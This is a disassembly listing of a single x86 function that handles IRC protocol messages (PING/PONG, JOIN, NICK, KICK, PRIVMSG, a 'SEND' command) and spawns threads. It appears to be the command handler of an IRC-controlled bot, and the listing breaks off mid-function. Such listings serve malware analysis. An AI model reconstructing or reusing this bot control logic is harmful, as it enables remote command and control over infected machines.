var_2ABC	= dword	ptr -2ABCh
var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA64 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA60 ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh

loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi

loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl

loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE

loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi

loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi

loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA5C ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h

loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------

loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------

loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch

loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------

loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h

loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1

loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3

loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9F0
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h

loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"

loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C

loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h

loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1

loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax

loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax

loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h

loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0

loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87

loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B

loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083

loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019

loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1

loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C99C

loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220

loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx

loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------

loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C978
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------

loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C964
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854

loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi

loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C95C
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C920
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 269053Ch
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEF4[ecx], eax
		jz	loc_4023E6

loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		nop
		call	near ptr 26904AEh
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------

loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1

loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C91C
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
